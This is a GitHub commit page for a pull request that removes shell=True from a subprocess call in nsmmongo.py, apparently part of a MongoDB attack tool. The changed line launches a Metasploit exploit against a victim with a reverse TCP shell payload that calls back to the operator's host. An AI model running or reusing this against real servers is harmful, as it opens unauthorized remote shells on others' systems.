Skip to content

Commit 3b3ff94

Browse files
authored
Merge pull request #73 from tripleee/tripleee-subprocess-patch
Avoid shell=True in subprocess.call()
2 parents 9f9890f + 3db58ae commit 3b3ff94

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

nsmmongo.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -338,7 +338,7 @@ def enumDbs (mongoConn):
338338

339339
def msfLaunch():
340340
try:
341-
proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True)
341+
proc = subprocess.call(["msfcli", "exploit/linux/misc/mongod_native_helper", "RHOST=%s" % victim, "DB=local", "PAYLOAD=linux/x86/shell/reverse_tcp", "LHOST=%s" % myIP, "LPORT=%s" % myPort, "E"])
342342

343343
except:
344344
print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."

0 commit comments

Comments
 (0)